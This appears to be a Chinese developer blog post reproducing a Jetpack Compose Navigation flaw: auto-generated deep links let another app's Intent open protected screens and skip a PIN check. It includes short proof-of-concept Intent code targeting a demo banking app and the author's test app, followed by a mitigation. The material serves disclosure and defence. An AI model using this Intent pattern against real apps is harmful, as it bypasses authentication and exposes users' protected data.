• 作者:老汪软件技巧
  • 发表时间:2024-08-20 10:01
  • 浏览量:

前言

今天早上在群里看到有佬分享了一篇文章,其描述了 Jetpack Navigation 在深层链接上的漏洞:

Android Jetpack Navigation: Go Even Deeper

感谢群友和这位作者让我们知道了这个情况,下面是我的的复现文章!

你可以直接阅读上面原作的地址,我只是希望分享这个事情!

什么是 DeepLink ?

这里其实就是在说 Scheme 只是他只能针对 Activity,而Compose和Fragment无法直接使用,所以在 Jetpack Navigation 中又进行了适配。

下面这样就是一个Compose Navigation的深层链接定义方式

val uri = "scx://example.com/"
composable(
    "profile?id={id}",
    deepLinks = listOf(navDeepLink { uriPattern = "$uri/{id}" })
) { backStackEntry ->
    Profile(navController, backStackEntry.arguments?.getString("id"))
}

OK,接下来我们在网页这样写,点击,OK,我们就可以跳转到对应的 Profile 界面了!

<html>
    <a href="scx://example.com/123456">Deep Link To DFragmenta>
html>

漏洞

从上面的文章来看,作者提供了一个APP正常的跳转顺序

显然我们想要进入第二个界面,就必须要先输入PIN码,否则无法达到第二个界面。

假如这是两个 activity ,我们将他们的 exported 设置为 false ,那么正常情况下没有 Root 的设备将无法直接打开后面的activity。

但是这个APP采用了 Compose Navigation 就像是下面这样

NavHost(
    navController = navController,
    startDestination = SuperSecureBankScreen.Pin.name,
    modifier = Modifier....
) {
    composable(route = SuperSecureBankScreen.Main.name) {
        MainScreen(
            onOpenWebButtonClicked = {
                navController.navigate(
                    "${SuperSecureBankScreen.WebContent.name}/..."
                )
            }
        )
    }
    
    composable(route = SuperSecureBankScreen.Pin.name) {
        PinScreen(
            onEnterButtonClicked = {
                navController.navigate(
                    SuperSecureBankScreen.Main.name,
                    NavOptions.Builder().setPopUpTo(...)
            }
        )
    }不再
    
    composable(
        route = "${SuperSecureBankScreen.WebContent.name}/{url}",
        arguments = listOf(navArgument("url") { type = NavType.StringType }),
    ) { backStackEntry ->
        val url = backStackEntry.arguments?.getString("url")!!
        WebContentScreen(url)
    }
}

这里我省略了一些东西只保留核心部分,我们可以看到,想要去MainScreen,就必须在PinScreen界面输入正确的密码。

是的,这看上去毫无问题,但是作者向我们介绍了另一个 APP 的内容:

Intent().apply {  
    setClassName("com.ptsecurity.supersecurebank", "com.ptsecurity.supersecurebank.MainActivity")  
    data = Uri.parse("android-app://androidx.navigation/Main")  
  
    startActivity(this)  
}

这就是一个隐式跳转,目标就是上图的 APP,我们发现他带了一个 data 这很关键,我第一眼就想到 Scheme,随后作者解释到这是个深层地址,而且是自动生成的!

看图我们发现 navController 中显示了自动产生的 deepLinks,问题在于开发者不知情!

作者通过这段代码直接进入到了MainScreen,他不需要密码,他越过了Pin的检测,这可就有大问题了,这意味着我们不做出改变也会遭到类似攻击。

我不知道大家是否注意到谷歌大会的这个内容:

利用 App + Web 技术打造高质量的跨平台内容

当然这里的深层链接更多的是媒体ID或者链接之类的,并不是我们今天的主题。

复现NavHost定义

这块我定义了简单的 NavHost ,可以看到,必须通过 PINScreen 才能进入 HomeScreen。

@Composable
fun PINScreen(
    onToHome:()->Unit,
) {
    Column(
        Modifier
            .fillMaxSize()
            .padding(14.dp),
        verticalArrangement = Arrangement.Center,
        horizontalAlignment = Alignment.CenterHorizontally
    ) {
        var inputText by remember { mutableStateOf("") }
        TextField(
            value = inputText,
            onValueChange = {
                inputText = it
            },
            label = { Text(text = "输入密码") },
        )
        Spacer(modifier = Modifier.height(10.dp))
        Button(onClick = {
            if (inputText == "123456") {
                onToHome()
            }
        }) {
            Text(text = "提交密码")
        }
    }
}

这个就是简单的页面,HomeScreen 并没有任何的内容,就不粘贴了。

自动生成复现

现在我们在 navHostController 和 PINScreen 内部进行断点。

当断点来到 PINScreen 时我们检查 navHostController

OMG真有!!!

丸辣,可以看出,这个默认生成的深层链接就是 android-app://androidx.navigation/ + 路由

利用漏洞复现

这里我从 PIN 到了 Home 界面,一切正常,接下来我们试着复现刚刚的代码!

这个是正常APP的流程

现在我们创建另一个APP编写代码

class MainActivity : ComponentActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        enableEdgeToEdge()
        Intent().apply {
            setClassName("com.example.composedemo1","com.example.composedemo1.MainActivity")
            data = Uri.parse("android-app://androidx.navigation/home")
            startActivity(this)
        }
    }
}

效果如下:

点击打开

可以看到这问题确实存在,绕过了PIN的检测,直接来到Home。

GIF放不下只能这样辣!

为什么有默认深层链接

作者提到了是这个函数

顺藤摸瓜找到了这个

的确,我们也找到了他!

好吧,现在我们是时候做出一些保护了!

保护措施

文章在最后提供的方法是

@Composable
fun HomeScreen(
    viewModel: AppViewModel,
    onNavigateToLoginScreen: () -> Unit = {}
) {
    val viewState by viewModel.viewState.collectAsState()
    when (viewState) {
        AppViewModel.ViewState.Loading -> {
            LoadingView()
        }
        AppViewModel.ViewState.NotLoggedIn -> {
            LaunchedEffect(viewState) {
                onNavigateToLoginScreen()
            }
        }
        AppViewModel.ViewState.LoggedIn -> {
            HomeScreenContent()
        }
    }
}

我认为这有效果,但是这个例子还不太清晰,我们可以在 viewState 的里检查下是否完成了PIN码激活或者登录,当一切就绪后再展示内容,否则展示错误画面!

文末

这里我用的库版本是2.8.0-beta06,大家有兴趣可以尝试下,如果你有类似问题应该及时做出处理!